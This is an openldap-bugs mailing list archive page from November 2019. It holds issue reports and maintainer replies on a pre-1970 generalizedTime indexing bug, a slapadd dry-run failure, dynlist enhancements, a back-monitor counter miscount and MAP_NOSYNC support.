rewrite for 2.5 but leave 2.4 alone. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 25 Nov '19

25 Nov '19

markus.widmer(a)daasi.de wrote: > Full_Name: Markus Widmer > Version: 2.4.48 > OS: CentOS 7 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (37.24.13.226) > > > Hi! > > we have recognized a strange behaviour for searches which include an attribute > with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules > generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in > the objects have values before 1970, then a search for > "<=" or ">=" only seams to works if: > - The attribute is not part of the index > - The attribute is part of the index but "objectClass" is not > > Reproduction: > We used two entries with the attribute "schacExpiryDate" from the > objectClass "schacEntryMetadata" but this can be reproduced with other > attributes as well: > > attributetype ( 1.3.6.1.4.1.25178:1:2:17 > NAME 'schacExpiryDate' > DESC 'Date from which the set of data is to be considered invalid (format > YYYYMMDDhhmmssZ)' > EQUALITY generalizedTimeMatch > ORDERING generalizedTimeOrderingMatch > SINGLE-VALUE > SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) > > We used two entries: > > user.1: > schacExpiryDate: 19711007093230.514Z > > user.2: > schacExpiryDate: 19561007093230.514Z > > First try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 > > > Second try: we used this index configuration: > > index sn eq > #index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 and user.2 > > > Third try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > #index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.1 and user.2 > > > We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can > reproduce this as well to see what is happening here. Yes, can reproduce this. The function that converts a component-wise time into a timet is referencing time since 1970. The date in 1956 would yield a negative timet value but the fields are unsigned ints, so instead it's treated as 17,000 years in the future. We can probably change this to handle signed timestamps but need to consider this further. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9122) slapadd with dry run fails with back-mdb
by quanah＠openldap.org 25 Nov '19

25 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4.48 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) When testing an slapadd import with back-mdb as the database backend, it errors out incorrectly with a unknown attribute error: slapadd -F /tmp/slapd.d -l slapd-config-config.ldif -n 0 -u 5ddc186e PROXIED attributeDescription "DC" inserted. 5ddc186e <= str2entry: str2ad(olcDbNoSync): attribute type undefined slapadd: could not parse entry (line=1620) _################### 99.10% eta none elapsed none spd 18.7 M/s However the actual LDIF file is just fine: slapadd -F /tmp/slapd.d -l slapd-config.ldif -n 0 _#################### 100.00% eta none elapsed none fast! Closing DB... I'm guessing that on a dry-run, it doesn't actually fully load the modules defined in moduleload to get their schema definitions, which results in a false failure instead of a success.

1 0

(ITS#9121) dynlist enhancements
by quanah＠openldap.org 20 Nov '19

20 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) There are some enhancements to dynlist that would make it more useful/versatile: a) Be able to do (unique)member= searches to find all groups a given group member belongs to b) be able to generate dynamic (is)memberOf values on user entries for the groups they belong to

1 0

(ITS#9120) Searches including generalizedTime attributes with index
by markus.widmer＠daasi.de 19 Nov '19

19 Nov '19

Full_Name: Markus Widmer Version: 2.4.48 OS: CentOS 7 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (37.24.13.226) Hi! we have recognized a strange behaviour for searches which include an attribute with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in the objects have values before 1970, then a search for "<=" or ">=" only seams to works if: - The attribute is not part of the index - The attribute is part of the index but "objectClass" is not Reproduction: We used two entries with the attribute "schacExpiryDate" from the objectClass "schacEntryMetadata" but this can be reproduced with other attributes as well: attributetype ( 1.3.6.1.4.1.25178:1:2:17 NAME 'schacExpiryDate' DESC 'Date from which the set of data is to be considered invalid (format YYYYMMDDhhmmssZ)' EQUALITY generalizedTimeMatch ORDERING generalizedTimeOrderingMatch SINGLE-VALUE SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) We used two entries: user.1: schacExpiryDate: 19711007093230.514Z user.2: schacExpiryDate: 19561007093230.514Z First try: we used this index configuration: index sn eq index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 Second try: we used this index configuration: index sn eq #index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 and user.2 Third try: we used this index configuration: index sn eq index schacExpiryDate eq #index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.1 and user.2 We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can reproduce this as well to see what is happening here. Thank you very much for doing a great job!

1 0

Re: (ITS#9119) back-monitor can miscount monitorOpCompleted
by hyc＠symas.com 15 Nov '19

15 Nov '19

quanah(a)openldap.org wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.4.43 > OS: N/A > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (47.208.143.26) > > > When querying the monitor backend for monitorOpCompleted, the results are > inconsistent. The code that calculates this value is also inefficient, as there > is already a global counter of completed operations, but back-monitor doesn't > use this and instead queries all the per-operation counters and then sums them > together for the result, causing unnecessary work. Fixed in git master. > > These are the results of a series of queries: > > monitorOpCompleted: 326801 > monitorOpCompleted: 326733 > monitorOpCompleted: 326830 > monitorOpCompleted: 326830 > monitorOpCompleted: 326752 > monitorOpCompleted: 326855 > monitorOpCompleted: 326777 Unable to reproduce. Please test the patch and report back if the problem still shows up. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9118) Add support for MAP_NOSYNC
by hyc＠symas.com 15 Nov '19

15 Nov '19

quanah(a)openldap.org wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.4.48 > OS: FreeBSD 11 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (47.208.143.26) > > > To improve back-mdb performance on LMDB when dbnosync is set, it would be useful > to support MAP_NOSYNC as documented at > http://nixdoc.net/man-pages/FreeBSD/mmap.2.html > > Added in mdb.master -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9119) back-monitor can miscount monitorOpCompleted
by quanah＠openldap.org 15 Nov '19

15 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4.43 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) When querying the monitor backend for monitorOpCompleted, the results are inconsistent. The code that calculates this value is also inefficient, as there is already a global counter of completed operations, but back-monitor doesn't use this and instead queries all the per-operation counters and then sums them together for the result, causing unnecessary work. These are the results of a series of queries: monitorOpCompleted: 326801 monitorOpCompleted: 326733 monitorOpCompleted: 326830 monitorOpCompleted: 326830 monitorOpCompleted: 326752 monitorOpCompleted: 326855 monitorOpCompleted: 326777

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs